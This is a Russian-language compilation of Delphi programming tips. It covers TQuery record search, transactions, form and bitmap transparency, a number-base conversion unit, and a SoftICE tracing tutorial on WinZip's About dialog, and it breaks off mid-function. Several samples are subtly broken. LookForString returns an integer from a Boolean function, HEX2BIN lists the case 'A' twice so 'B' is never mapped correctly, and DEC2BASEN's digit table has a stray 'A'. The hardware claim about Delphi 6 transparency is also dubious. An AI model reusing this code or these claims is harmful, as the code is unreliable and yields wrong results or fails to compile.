1. После команды BeginDoc шрифт у Canvas принтера сбрасывается и его необходимо задавать заново 2. Все координаты даны в пикселах, а для нормальной работы необходимы миллиметры (по двум очевидным причинам: очень трудно произвести разметку страницы в пикселах (особенно если необходима точность), и , главное, при изменении разрешающей способности принтера будет изменяться число точек на дюйм, и все координаты "поедут".3. У TPrinter информация о принтере, по видимому, определяются один раз - в момент запуска программы (или смены принтера). Поэтому изменение настроек принтера в процессе работы программы может привести к некорректной работе, например, неправильной печать шрифтов True Type.
Поиск записи с помощью TQuery.
Как мне найти запись (осуществить 'Find') в TQuery? Я привел ниже код, который я использую в своей работе, правда, в нем еще необходимо организовать обработку исключительных ситуаций, но это дело времени. Когда пользователь нажимает кнопку "Найти", обработчик события OnClick вызывает процедуру SearchName.Объявляем: FindSearch : Boolean и инициализируем значением True.
function LookForString(target, source: string): boolean;
{ в случае игнорирования перед вызовом pos необходимо
преобразовать source и target в верхний регистр }
begin
LookForString := pos(target, source);
end;
procedure SearchName(searchtype: string; stringtofind: string);
var
OldCursor: TCursor;
CurrentPos: TBookmark;
found: boolean;
begin
if Form1.Query1.State = dsEdit then
Form1.Query1.Post;
if StringToFind = '' then
exit;
OldCursor := Screen.Cursor;
Screen.Cursor := crHourGlass;
with Form1 do
begin
CurrentPos := Query1.GetBookmark;
Query1.DisableControls;
found := false;
if searchtype <> 'prev' then { первый или следующий }
begin
if searchtype = 'first' then
Query1.First
else if not Query1.EOF then
Query1.Next;
while (not Query1.EOF) and (not found) do
begin
if LookForString(StringToFind, MemberName) <> 0 then
found := true;
if not found then
Query1.Next;
end;
end
else
begin { prev }
if not Query1.BOF then
Query1.Prior;
while (not Query1.BOF) and (not found) do
begin
if LookForString(StringToFind, MemberName) <> 0 then
found := true;
if not found then
Query1.Prior;
end;
end;
Screen.Cursor := OldCursor;
if found then
begin
FindSearch := false;
ChangeFindCaption;
UpdateStatusLabel;
end
else
begin
MessageDlg('Больше ничего не найдено.', mtInformation,
[mbOK], 0);
Query1.GotoBookmark(CurrentPos);
end;
Query1.EnableControls;
Query1.FreeBookmark(CurrentPos);
end; { конец работы с Form1 }
end;
procedure TForm1.FindButtonClick(Sender: TObject);
begin
if FindSearch then
SearchName('first', Page0Edit.Text)
else
SearchName('next', Page0Edit.Text);
end;
|
Поиск записи с помощью TQuery 2.
Компонент TQuery не предусматривает основанный на индексе поиск, подобный реализованному в компоненте TTable (FindKey, GotoKey и GotoNearest). Поэтому возникает следующий вопрос: как в данных, возвращаемых запросом TQuery, найти определенную запись? Один из путей поиска в результатах запроса является последовательный поиск. Данный тип поиска стартует в первой строке набора данных и, с помощью цикла, последовательно сравнивает значения полей с искомой величиной. Возможно достижение одного из двух результатов: величина будет найдена (успех) или будет достигнут конец набора данных (неудача). Самый большой недостаток этого способа поиска заключается в том, что он самый медленный, поскольку искомая величина может оказаться в одной их последних записей, а для этого придется перебрать весь набор данных. При неудаче он должен перебрать весь набор данных. При интенсивном поиске данный метод займет большую часть времени вычислений.Вот функция, выполняющая последовательный поиск в результатах запроса TQuery:
var
pb: TProgressBar;
begin
...
function SeqSearch(AQuery: TQuery; AField, AValue: String): Boolean;
begin
with AQuery do
begin
First;
while (not Eof) and (not (FieldByName(AField).AsString = AValue)) do
Next;
SeqSearch := not Eof;
end;
end;
|
Код модульной, транспортабельной функции должно выглядеть примерно так:
function Locate(AQuery: TQuery; AField, AValue: string): Boolean;
var
Hi, Lo: Integer;
begin
with AQuery do
begin
First;
{Устанавливаем верхнюю границу диапазона строк}
Hi := RecordCount;
{Устанавливаем нижнюю границу диапазона строк}
Lo := 0;
{Текущий указатель перемещаем в в точку, лежащую посередине
между нижней и верхней границей диапазона}
MoveBy(RecordCount div 2);
while (Hi - Lo) > 1 do
begin
{Значение поля больше искомой величины, величина в первой половине}
if (FieldByName(AField).AsString > AValue) then
begin
{Вычисляем нижнюю границу верхнего поддиапазона общего диапазона}
Hi := Hi - ((Hi - Lo) div 2);
MoveBy(((Hi - Lo) div 2) * -1);
end
{Найденное поле меньше искомой величины, нужно искать в верхней половине}
else
begin
{Перемещаем вверх нижнюю границу общего диапазона}
Lo := Lo + ((Hi - Lo) div 2);
MoveBy((Hi - Lo) div 2);
end;
end;
{Обрабатываем нечетную нумерацию строк}
if (FieldByName(AField).AsString > AValue) then
Prior;
Locate := (FieldByName(AField).AsString = AValue)
end;
end;
|
Эти методы могут использоваться в любых результатах запроса TQuery? Нет. Все дело в технологии: описанные методы пользуются такими понятиями, как направление поиска, нижняя и верхняя границы диапазона. Это означает, что набор данных должен быть последователен и непрерывен, т.е. для получения результатов TQuery должен использовать SQL-запросы, содержащие ключевую фразу ORDER BY. Размер полученного набора данных также является показателем для выбора метода. Метод заключения в скобки выгоднее использовать при большом наборе данных. В случае, когда число записей невелико (1,000 и менее строк), метод последовательного поиска все же будет быстрее.
Введение в режимы трассировки SoftICE.
| Автор: Fox Mulder |
| Из открытий компьютерной вирусологии: Оказывается, первый троян был конь! |
Сегодня продолжаем учиться использовать SoftICE. Каждый исследователь программ должен уметь трассировать программы.
Трассировкой мы будем называть процесс пошагового выполнения программы. Под шагом программы обычно понимается выполнение одной команды, но здесь есть некоторые тонкости, которые как раз связаны с режимами трассировки.
В SoftICE существует два режима трассировки: внутренний и внешний.
внутренний - такой режим, когда по шагам выполняются все команды этой функции внешний - когда все команды функции выполняются за один шаг.Давайте рассмотрим оба этих режима на примерах. В качестве исследуемой программы будем использовать уже знакомый нам WinZip 7.0. Но перед тем, как начать хотел бы обратить Ваше внимание вот на какую деталь: многие из Вас при работе с SoftICE используют Symbol Loader для загрузки программ. Так вот, делать этого не нужно - Symbol Loader предназначен для использования программистами, которые отлаживают свои программы. Для нас с Вами она практически бесполезна. Тогда у Вас может возникнуть вопрос: а как же загружать программу? Просто запускайте ее как обычно из меню Пуск и дальше работайте. Дело в том, что SoftICE запускается еще до загрузки Windows и Вы в любой момент можете его активизировать нажатием Ctrl+D, вне зависимости от того, загружали ли Вы программу через Symbol Loader или нет.
Запускаем WinZip, выбираем в меню Help пункт About WinZip... Появляется окно с информацией о WinZip. Далее активизируем SoftICE (Ctrl+D) и устанавливаем точку прерывания на вызов функции EndDialog(). Эта функция вызывается при закрытии диалогового окна (разговор о диалоговых окнах у нас впереди, но чтобы Вы представляли, что это такое, посмотрите на окно About WinZip - это типичный пример диалогового окна). При нажатии на кнопку ОК программа прерывается при вызове функции EndDialog(). Обратите внимание на надпись на самой нижней желтой линии: USER32 - она означает, что мы находимся не в модуле нашей программы (WINZIP32), а в модуле, в который загружена библиотека user32.dll Далее нажимаем F12, чтобы программа прервалась после выполнения команды ret и оказываемся в модуле нашей программы WINZIP32 по адресу 4013A0. Нам надо посмотреть текст программы немного выше этого адреса.
Для скроллирования (прокручивания) текста в окнах SoftICE служат стрелочки, расположенные с правой стороны окна. Существует два вида стрелочек: первые, похожие на треугольники, предназначены для прокрутки текста по одной стоке, другие, выглядящие как нормальные стрелки - для прокрутки текста постранично. Несколько раз нажимаем на верхнюю стрелочку для прокрутки текста построчно, пока не увидим строку 401397. После этого делаем двойной щелчок мышью по этой строке (в любом ее месте). Двойной щелчок по строке эквивалентен установке точки прерывания на выполнение команды по этому адресу. В нашем случае случае устанавливается точка прерывания на выполнение команды по адресу 401397 (эквивалентом двойного щелчка в данном случае будет команда bpx 401397, но работать мышью гораздо удобнее). Строка, на которую установлена точка прерывания выделяется зеленым цветом. Удалить установленную точку прерывания можно сделав на ней двойной щелчок еще раз.
Теперь давайте посмотрим какие точки прерывания у нас установлены. Список установленных точек прерывания выдается по команде bl (breakpoint list). У нас установлены две точки прерывания поэтому список будет иметь следующий вид:
00) bpx USER32!EndDialog 01) bpx #0137:00401397 |
Слева выводится номер установленной точки прерывания. 0 - это точка прерывания на выполнение API-функции EndDialog(), 1 - точка прерывания на выполнение команды по адресу 401397. С точками прерывания можно производить следующие действия: отключать установленные, включать выключенные точки прерывания, редактировать и удалять.
Давайте попробуем отключить точку прерывания на вызов функции EndDialog(). Для отключения точки прерывания используется команда bd (breakpoint disable), после которой необходимо указать ее номер (в нашем случае - 0), т.е. вводим команду bd 0. Убедиться в том, что точка прерывания действительно отключена мы можем с помощью команды bl. Вводим bl и получаем следующий список установленных точек прерывания:
00)*bpx USER32!EndDialog 01) bpx #0137:00401397 |
Обратите внимание, что в нулевой строке появилась звездочка. Этот символ означает, что точка прерывания отключена.
Для чего используют отключение точек прерывания? Рассмотрим на нашем примере. Сначала нам была нужна точка прерывания на вызов функции EndDialog(), но после того, как мы нашли, в каком месте программы она вызывается такая необходимость пропала. В принципе, можно эту точку прерывания удалить, но если Вы думаете, что она может Вам еще понадобиться через некоторое время, но до этого не должна функционировать, то лучше ее отключить. Это избавит Вас от траты времени на повторную установку этой точки прерывания в будущем.
Для продолжения выполнения программы нажимаем F5. Вновь выбираем в меню Help пункт About WinZip... Нажимаем кнопку ОК - программа прерывается при выполнении команды по адресу 401397 (об этом сообщается в окне команд SoftICE).
Попробуем выполнить внешнюю трассировку участка программы. Для внешней трассировки используется команда p(горячая клавиша F10). После первого нажатия F10 курсор перемещается на следующую строку 401399 - выполнилась команда push 01. При втором нажатии F10 выполняется команда push ebx и курсор устанавливается на строке 40139A. В этой строке выполняется вызов API-функции EndDialog(). После нажатия F10 курсор перемещается на следующую строку 4013A0, т.е. вся функция EndDialog() выполняется как одна команда. Это удобно, когда не важно, что происходит внутри функции, а время трассировки хотелось бы сократить.
Если же Вам необходимо знать, что происходит внутри функции, то тогда Вам необходимо использовать внутреннюю трассировку. Внутренняя трассировка выполняется командой t (горячая клавиша F8).
Для продолжения программы нажимаем F5, далее вновь выбираем questions/About Winzip... Программа прерывается по адресу 401397. Два раза нажимаем F8 (команды push в обоих режимах выполняются совершенно одинаково) и оказываемся вновь в стоке 40139A. После нажатия F8 курсор оказывается не на следующей строке, как в предыдущем режиме, а в начале функции EndDialog() в модуле USER32 (адрес BFF61ABE). При нажатия F8 выполняется команда mov cl, 9Ah и курсор перемещается на следующую строку, т.е. Вы можете выполнять трассировку функции. Если функция достаточно длинная, а Вы уже узнали все, что хотели и не желаете бесцельно трассировать ее до конца, можете воспользоваться командой p ret (горячая клавиша F12) которая прерывает программу после выполнения команды ret (команда возврата из функции). Нажмите F12 и программа прервется по знакомому нам уже адресу 4013A0, сразу после вызова функции EndDialog().
Надеюсь, все что я написал Вам понятно.
Работа с транзакциями.
| Если программист в 09.00 утра уже на работе, значит он ещё на работе... |
dbMain.StartTransaction;
try
spAddOrder.ParamByName('ORDER_NO').AsInteger := OrderNo;
spAddOrder.ExecProc;
for i := 0 to PartList.Count - 1 do
begin
spReduceParts.ParamByName('PART_NO').AsInteger := PartRec(PartList.Objects[i]).PartNo;
spReduceParts.ParamByName('NUM_SOLD').AsInteger := PartRec(PartList.Objects[i]).NumSold;
end;
dbMain.Commit;
except
dbMain.RollBack;
raise;
end;
|
Преобразование координат.
Автор: Neil Поверьте, достаточно просто преобразовать X,Y координаты, передаваемые в параметрах событий OnDragOver и OnDragDrop, в координаты формы.Работайте со свойствами Left и Top компонента, над которым перемещается курсор. Приведу простой пример. Поместите на форму компонент Memo и присвойте свойству Align значение alTop. Поместите на форму панель, также присвойсте свойству Align значение alTop и задайте небольшое значение свойству Height, скажем 6 или 7 пикселей. Установите DragMode на dmAutomatica и DragCursor на crVSplit. Поместите другой Memo-компонент и установите Align на alClient. Одновременно выберите оба Memo-компонента, панель и создайте общий обработчик события OnDragOver как показано ниже:
procedure TForm1.Memo1DragOver(Sender, Source: TObject; X, Y: Integer;
State: TDragState; var Accept: Boolean);
begin
if Source = Panel1 then
with Sender as TControl do
begin
Accept := True;
Memo1.Height := Y + Top;
end
else
Accept := False;
end;
|
Теперь попробуйте это!
Перевод между системами исчисления.
| Автор: НЖкоn Stordahl WEB сайт: http://stordahl.home.ml.org |
| Хороший СисОп - пьяный СисОп... |
unit CONVUNIT;
{ CONVUNIT UNIT 1.1 }
{ Copyright (C) 1997 НЖкоn Stordahl }
{ E-mail : stordahl@usa.net }
{ Homepage: http://stordahl.home.ml.org/ }
interface
function DEC2BIN(DEC: LONGINT): string;
function BIN2DEC(BIN: string): LONGINT;
function DEC2HEX(DEC: LONGINT): string;
function HEX2DEC(HEX: string): LONGINT;
function DEC2OCT(DEC: LONGINT): string;
function OCT2DEC(OCT: string): LONGINT;
function BIN2HEX(BIN: string): string;
function HEX2BIN(HEX: string): string;
function DEC2BASEN(BASE: INTEGER; DEC: LONGINT): string;
{ This function converts numbers from decimal (Base 10 notation) to
different systems of notation. Valid systems are from Base 2 notation
to Base 36 notation }
function BASEN2DEC(BASE: INTEGER; NUM: string): LONGINT;
{ This function converts numbers from different systems of notation
to decimal (Base 10 notation). Valid systems are from Base 2 notation
to Base 36 notation }
implementation
function DEC2BIN(DEC: LONGINT): string;
var
BIN: string;
I, J: LONGINT;
begin
if DEC = 0 then
BIN := '0'
else
begin
BIN := '';
I := 0;
while (1 shl (I + 1)) < = DEC do
I := I + 1;
{ (1 SHL (I + 1)) = 2^(I + 1) }
for J := 0 to I do
begin
if (DEC shr (I - J)) = 1 then
BIN := BIN + '1'
{ (DEC SHR (I - J)) = DEC DIV 2^(I - J) }
else
BIN := BIN + '0';
DEC := DEC and ((1 shl (I - J)) - 1);
{ DEC AND ((1 SHL (I - J)) - 1) = DEC MOD 2^(I - J) }
end;
end;
DEC2BIN := BIN;
end;
function BIN2DEC(BIN: string): LONGINT;
var
J: LONGINT;
Error: BOOLEAN;
DEC: LONGINT;
begin
DEC := 0;
Error := False;
for J := 1 to Length(BIN) do
begin
if (BIN[J] < > '0') and (BIN[J] < > '1') then
Error := True;
if BIN[J] = '1' then
DEC := DEC + (1 shl (Length(BIN) - J));
{ (1 SHL (Length(BIN) - J)) = 2^(Length(BIN)- J) }
end;
if Error then
BIN2DEC := 0
else
BIN2DEC := DEC;
end;
function DEC2HEX(DEC: LONGINT): string;
const
HEXDigts: string[16] = '0123456789ABCDEF';
var
HEX: string;
I, J: LONGINT;
begin
if DEC = 0 then
HEX := '0'
else
begin
HEX := '';
I := 0;
while (1 shl ((I + 1) * 4)) < = DEC do
I := I + 1;
{ 16^N = 2^(N * 4) }
{ (1 SHL ((I + 1) * 4)) = 16^(I + 1) }
for J := 0 to I do
begin
HEX := HEX + HEXDigts[(DEC shr ((I - J) * 4)) + 1];
{ (DEC SHR ((I - J) * 4)) = DEC DIV 16^(I - J) }
DEC := DEC and ((1 shl ((I - J) * 4)) - 1);
{ DEC AND ((1 SHL ((I - J) * 4)) - 1) = DEC MOD 16^(I - J) }
end;
end;
DEC2HEX := HEX;
end;
function HEX2DEC(HEX: string): LONGINT;
function Digt(Ch: CHAR): BYTE;
const
HEXDigts: string[16] = '0123456789ABCDEF';
var
I: BYTE;
N: BYTE;
begin
N := 0;
for I := 1 to Length(HEXDigts) do
if Ch = HEXDigts[I] then
N := I - 1;
Digt := N;
end;
const
HEXSet: set of CHAR = ['0'..'9', 'A'..'F'];
var
J: LONGINT;
Error: BOOLEAN;
DEC: LONGINT;
begin
DEC := 0;
Error := False;
for J := 1 to Length(HEX) do
begin
if not (UpCase(HEX[J]) in HEXSet) then
Error := True;
DEC := DEC + Digt(UpCase(HEX[J])) shl ((Length(HEX) - J) * 4);
{ 16^N = 2^(N * 4) }
{ N SHL ((Length(HEX) - J) * 4) = N * 16^(Length(HEX) - J) }
end;
if Error then
HEX2DEC := 0
else
HEX2DEC := DEC;
end;
function DEC2OCT(DEC: LONGINT): string;
const
OCTDigts: string[8] = '01234567';
var
OCT: string;
I, J: LONGINT;
begin
if DEC = 0 then
OCT := '0'
else
begin
OCT := '';
I := 0;
while (1 shl ((I + 1) * 3)) < = DEC do
I := I + 1;
{ 8^N = 2^(N * 3) }
{ (1 SHL (I + 1)) = 8^(I + 1) }
for J := 0 to I do
begin
OCT := OCT + OCTDigts[(DEC shr ((I - J) * 3)) + 1];
{ (DEC SHR ((I - J) * 3)) = DEC DIV 8^(I - J) }
DEC := DEC and ((1 shl ((I - J) * 3)) - 1);
{ DEC AND ((1 SHL ((I - J) * 3)) - 1) = DEC MOD 8^(I - J) }
end;
end;
DEC2OCT := OCT;
end;
function OCT2DEC(OCT: string): LONGINT;
const
OCTSet: set of CHAR = ['0'..'7'];
var
J: LONGINT;
Error: BOOLEAN;
DEC: LONGINT;
begin
DEC := 0;
Error := False;
for J := 1 to Length(OCT) do
begin
if not (UpCase(OCT[J]) in OCTSet) then
Error := True;
DEC := DEC + (Ord(OCT[J]) - 48) shl ((Length(OCT) - J) * 3);
{ 8^N = 2^(N * 3) }
{ N SHL ((Length(OCT) - J) * 3) = N * 8^(Length(OCT) - J) }
end;
if Error then
OCT2DEC := 0
else
OCT2DEC := DEC;
end;
function BIN2HEX(BIN: string): string;
function SetHex(St: string; var Error: BOOLEAN): CHAR;
var
Ch: CHAR;
begin
if St = '0000' then
Ch := '0'
else if St = '0001' then
Ch := '1'
else if St = '0010' then
Ch := '2'
else if St = '0011' then
Ch := '3'
else if St = '0100' then
Ch := '4'
else if St = '0101' then
Ch := '5'
else if St = '0110' then
Ch := '6'
else if St = '0111' then
Ch := '7'
else if St = '1000' then
Ch := '8'
else if St = '1001' then
Ch := '9'
else if St = '1010' then
Ch := 'A'
else if St = '1011' then
Ch := 'B'
else if St = '1100' then
Ch := 'C'
else if St = '1101' then
Ch := 'D'
else if St = '1110' then
Ch := 'E'
else if St = '1111' then
Ch := 'F'
else
Error := True;
SetHex := Ch;
end;
var
HEX: string;
I: INTEGER;
Temp: string[4];
Error: BOOLEAN;
begin
Error := False;
if BIN = '0' then
HEX := '0'
else
begin
Temp := '';
HEX := '';
if Length(BIN) mod 4 < > 0 then
repeat
BIN := '0' + BIN;
until Length(BIN) mod 4 = 0;
for I := 1 to Length(BIN) do
begin
Temp := Temp + BIN[I];
if Length(Temp) = 4 then
begin
HEX := HEX + SetHex(Temp, Error);
Temp := '';
end;
end;
end;
if Error then
BIN2HEX := '0'
else
BIN2HEX := HEX;
end;
function HEX2BIN(HEX: string): string;
var
BIN: string;
I: INTEGER;
Error: BOOLEAN;
begin
Error := False;
BIN := '';
for I := 1 to Length(HEX) do
case UpCase(HEX[I]) of
'0': BIN := BIN + '0000';
'1': BIN := BIN + '0001';
'2': BIN := BIN + '0010';
'3': BIN := BIN + '0011';
'4': BIN := BIN + '0100';
'5': BIN := BIN + '0101';
'6': BIN := BIN + '0110';
'7': BIN := BIN + '0111';
'8': BIN := BIN + '1000';
'9': BIN := BIN + '1001';
'A': BIN := BIN + '1010';
'A': BIN := BIN + '1011';
'C': BIN := BIN + '1100';
'D': BIN := BIN + '1101';
'E': BIN := BIN + '1110';
'F': BIN := BIN + '1111';
else
Error := True;
end;
if Error then
HEX2BIN := '0'
else
HEX2BIN := BIN;
end;
function Potens(X, E: LONGINT): LONGINT;
var
P, I: LONGINT;
begin
P := 1;
if E = 0 then
P := 1
else
for I := 1 to E do
P := P * X;
Potens := P;
end;
function DEC2BASEN(BASE: INTEGER; DEC: LONGINT): string;
{ This function converts numbers from decimal (Base 10 notation) to
different systems of notation. Valid systems are from Base 2 notation
to Base 36 notation }
const
NUMString: string = '0123456789ABCDEFGHAIJKLMNOPQRSTUVWXYZ';
var
NUM: string;
I, J: INTEGER;
begin
if (DEC = 0) or (BASE < 2) or (BASE > 36) then
NUM := '0'
else
begin
NUM := '';
I := 0;
while Potens(BASE, I + 1) < = DEC do
I := I + 1;
for J := 0 to I do
begin
NUM := NUM + NUMString[(DEC div Potens(BASE, I - J)) + 1];
DEC := DEC mod Potens(BASE, I - J);
end;
end;
DEC2BASEN := NUM;
end;
function BASEN2DEC(BASE: INTEGER; NUM: string): LONGINT;
{ This function converts numbers from different systems of notation
to decimal (Base 10 notation). Valid systems are from Base 2 notation
to Base 36 notation }
function Digt(Ch: CHAR): BYTE;
const
NUMString: string = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
var
I: BYTE;
N: BYTE;
begin
N := 0;
for I := 1 to Length(NUMString) do
if Ch = NUMString[I] then
N := I - 1;
Digt := N;
end;
const
NUMSet: set of CHAR = ['0'..'9', 'A'..'Z'];
var
J: INTEGER;
Error: BOOLEAN;
DEC: LONGINT;
begin
DEC := 0;
Error := False;
if (BASE < 2) or (BASE > 36) then
Error := True;
for J := 1 to Length(NUM) do
begin
if (not (UpCase(NUM[J]) in NUMSet)) or (BASE < Digt(NUM[J]) + 1) then
Error
:= True;
DEC := DEC + Digt(UpCase(NUM[J])) * Potens(BASE, Length(NUM) - J);
end;
if Error then
BASEN2DEC := 0
else
BASEN2DEC := DEC;
end;
end.
|
Прозрачность.
interface
uses
Windows, Messages, Forms;
type
TForm1 = class(TForm)
procedure FormCreate(Sender: TObject);
end;
const
WS_EX_LAYERED = $80000;
function SetLayeredWindowAttributes(hWindow : HWND; crKey : DWORD; bAlpha : Byte;
dwFlags : DWORD) : BOOL; stdcall; external user32 name 'SetLayeredWindowAttributes';
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormCreate(Sender: TObject);
begin
SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
end;
end.
...
const
WS_EX_LAYERED = $80000;
type
TSetLayeredWindowAttributes = function(hWnd : HWND; crKey : DWORD;
bAlpha : Byte; dwFlags : DWORD) : BOOL; stdcall;
...
procedure TForm1.FormCreate(Sender: TObject);
var
SetLayeredWindowAttributes : TSetLayeredWindowAttributes;
hUser32 : HINST;
begin
SetWindowLong(Handle, GWL_EXSTYLE, GetWindowLong(Handle, GWL_EXSTYLE) or WS_EX_LAYERED);
hUser32 := LoadLibrary('user32.dll');
if hUser32 <> 0 then
begin
try
SetLayeredWindowAttributes := GetProcAddress(hUser32, 'SetLayeredWindowAttributes');
if Assigned(@SetLayeredWindowAttributes) then
SetLayeredWindowAttributes(Handle, 0, Byte(196), 2);
finally
FreeLibrary(hUser32);
end;
end;
end;
|
Прозрачный Bitmap.
Вам необходимо две копии вашего изображения. Маску и само изображение. Маска является ничем иным, как изображением, состоящим из двух цветов. Черного для тех областей, которые вы хотите показать, и белого для прозрачных. Для Windows 3.1 маска изображения может быть черно-белой, и предназначена для определения размеров изображения. В Win95 черно-белая маска ни при каких обстоятельствах не работает, т.к. у нее должна быть та же глубина цветов, что и у самого изображения, которое вы хотите показать. Изображение, которое вы хотите показать, должно содержать в прозрачных областях значение цвета, равное 0. Метод помещения изображения на экран такой же, как и в DOS. Маска AND экран, изображение OR или XOR с той же областью.Ниже приведен код Delphi, позволяя сделать вышеописанное с помощью двух TBitmap.
Canvas.CopyMode := cmSrcAnd;
Canvas.CopyRect(TitleRect, BMask.Canvas, TitleRect);
{заполняем "пробелы" изображением}
Canvas.CopyMode := cmSrcPaint;
Canvas.CopyRect(TitleRect, BTitle.Canvas, TitleRect);
|
Прозрачный компонент.
Автор: Robert Wittig При выводе прозрачного окна, окна или элементы управления, расположенные под ним, также видны. При перемещении невидимого окна, при условии, что оно не скрывается/выводится вновь, оно сохраняет "снимок" графической области, которая была расположена под ним в момент вывода (а именно: окна или видимые компоненты).Взгляните на модуль, приведенный ниже, в нем предлагается решение проблемы невидимого окна.
{ Начните с нового проекта.
Разместите на форме 4 кнопки и 1 компонент CheckBox.
Создайте обработчик события OnClick как показано ниже
Во время выполнения программы, если вы нажимаете на Button3,
щелчок по Button1 будет перехватываться InvWin; если вы
нажимаете на Button4, щелчок по Button2 будет перехватываться
InvWin. Поскольку "невидимое" окно первоначально представляет
собой простой дескриптор, элемент управления, расположенный
под ним, должен быть перерисован. Из-за этого существует
проблема мерцания, происходящая по сценарию как, будто вы
щелкнули по Button3 и Button4. При щелчке на CheckBox1,
InvWin.Invisible устанавливается в True. Это позволяет окну
не перерисовываться. Поскольку окно у нас теперь истинно
невидимое, то для устранения мерцания мы целенаправленно
посылаем необходимым окнам сообщение WM_SETREDRAW. }
unit Invwin1;
interface
uses
SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TInvWin = class(TWinControl)
private
fOnControl: TControl;
fInvisible: Boolean;
procedure WMPaint(var Message: TWMPaint); message WM_PAINT;
protected
procedure CreateParams(var Params: TCreateParams); override;
procedure MouseDown(Button: TMouseButton; Shift: TShiftState;
X, Y: Integer); override;
procedure SetOnControl(Value: TControl); virtual;
public
constructor Create(aOwner: TComponent);
property OnControl: TControl read fOnControl write SetOnControl;
property Invisible: Boolean read fInvisible write fInvisible;
end;
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
CheckBox1: TCheckBox;
procedure FormCreate(Sender: TObject);
procedure Button3Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button4Click(Sender: TObject);
procedure CheckBox1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
InvWin: TInvWin;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
constructor TInvWin.Create(aOwner: TComponent);
begin
inherited Create(aOwner);
ControlStyle := ControlStyle + [csOpaque];
end;
procedure TInvWin.CreateParams(var Params: TCreateParams);
begin
inherited CreateParams(Params);
Params.ExStyle := Params.ExStyle or WS_EX_TRANSPARENT;
end;
procedure TInvWin.WMPaint(var Message: TWMPaint);
var
DC: THandle;
PS: TPaintStruct;
begin
if not Invisible then
begin
if Message.DC = 0 then
DC := BeginPaint(Handle, PS)
else
DC := Message.DC;
PatBlt(DC, 0, 0, 5, 5, BLACKNESS);
PatBlt(DC, Width - 6, 0, 5, 5, BLACKNESS);
PatBlt(DC, 0, Height - 6, 5, 5, BLACKNESS);
PatBlt(DC, Width - 6, Height - 6, 5, 5, BLACKNESS);
if Message.DC = 0 then
EndPaint(Handle, PS);
end;
end;
procedure TInvWin.MouseDown(Button: TMouseButton; Shift:
TShiftState; X, Y
: Integer);
begin
ShowMessage('MouseDown над невидимым окном');
end;
procedure TInvWin.SetOnControl(Value: TControl);
var
Rect: TRect;
begin
if Value <> fOnControl then
begin
{ Используйте только WM_SETREDRAW, если окно полностью невидимо }
if Invisible and (Parent <> nil) then
Parent.Perform(WM_SETREDRAW, 0, 0);
if fOnControl <> nil then
Visible := False;
if Value <> nil then
begin
Rect := Value.BoundsRect;
InflateRect(Rect, 2, 2);
BoundsRect := Rect;
end;
fOnControl := Value;
if fOnControl <> nil then
Visible := True;
{ Используйте только WM_SETREDRAW, если окно полностью невидимо }
if Invisible and (Parent <> nil) then
Parent.Perform(WM_SETREDRAW, 1, 0);
end;
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
InvWin := TInvWin.Create(Self);
InvWin.Visible := False;
InvWin.Parent := Self;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('MouseClick над Button1');
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
ShowMessage('MouseClick над Button2');
end;
procedure TForm1.Button3Click(Sender: TObject);
begin
InvWin.OnControl := Button1;
end;
procedure TForm1.Button4Click(Sender: TObject);
begin
InvWin.OnControl := Button2;
end;
procedure TForm1.CheckBox1Click(Sender: TObject);
begin
InvWin.OnControl := nil;
InvWin.Invisible := CheckBox1.Checked;
end;
end.
|
Прозрачность в D6.
Автор: http://www.sources.ru В Delphi 6 разработчикам Windows-приложений доступна одна из замечательных возможностей создавать (полу)прозрачные формы (окна). В Delphi 6 класс TForm поддерживает формы со слоями, которые имеют свойства AlphaBlend, AlphaBlendValue, TransparentColor, и TransparentColorValue. Прозрачность в форме означает то, что пользователь может видить то, что находится позати формы. Чтобы подготовить форму к прозрачности, Вам потребуется установить свойство AlphaBlend в True. Если AlphaBlend установлено в True, то свойство AlphaBlendValue указывает степень прозрачности. Это свойство позволяет задать значения от 0 до 255. 0 указывает на полную прозрачность окна, в то время как 255 указывает на непрозрачное окно. Так же возможно устанавливать свойства AlphaBlend и AlphaBlendValue во время разработки (или во время выполнения приложения) при помощи Object Inspector.Возможно, Вы подумаете, что такая возможность в Delphi, может Вам пригодиться довольно редко, однако прозрачностью можно довольно эффективно привлекать внимание пользователей Вашей программы:
procedure TAboutBox.FormClose
(Sender: TObject; var Action: TCloseAction);
var
i, cavb: 0..255;
begin
if AlphaBlend = False then
begin
AlphaBlendValue := 255;
AlphaBlend := True;
end;
cavb := AlphaBlendValue;
for i := cavb downto 0 do
begin
AlphaBlendValue := i;
Application.ProcessMessages;
end
end;
Вышеприведённый код, в событие OnClose для формы about, создаёт плавно изменяющийся эффект. Когда пользователь попытается закрыть диалоговое окошко, то форма плавно исчезнет. Делается это путём циклического уменьшения AlphaBlendValue до нуля.
Другие два новый свойства формы в Delphi 6, это TransparentColor и TransparentColorValue. TransparentColor, это булевое свойство, которое указывает, будет определённый цвет, указанный в TransparentColorValue прозрачным. То есть мы можем задать прозрачность только определённому цвету.
И взаключении хотелось бы указать на главный недостаток. Все свойства, описанные выше, не будут работать, если приложение запущено не под Windows 2000 или выше, и если процессор на компьютере ниже P90.
Как избежать того, что в некоторых видео режимах прозрачная часть g1урhа стандартного TBitBtn становится видной.
В примере используется техника закраски прозрачной части glурh'а цветом кнопки на которой он находится - таким образом glyph кажется прозрачным.
function InitStdBitBtn(BitBtn : TBitBtn; kind : TBitBtnKind) : bool;
var
Bm1: TBitmap;
Bm2: TBitmap;
begin
Result := false;
if Kind = bkCustom then
exit;
Bm1 := TBitmap.Create;
case Kind of
bkOK : Bm1.Handle := LoadBitmap(hInstance, 'BBOK');
bkCancel : Bm1.Handle := LoadBitmap(hInstance, 'BBCANCEL');
bkHelp : Bm1.Handle := LoadBitmap(hInstance, 'BBHELP');
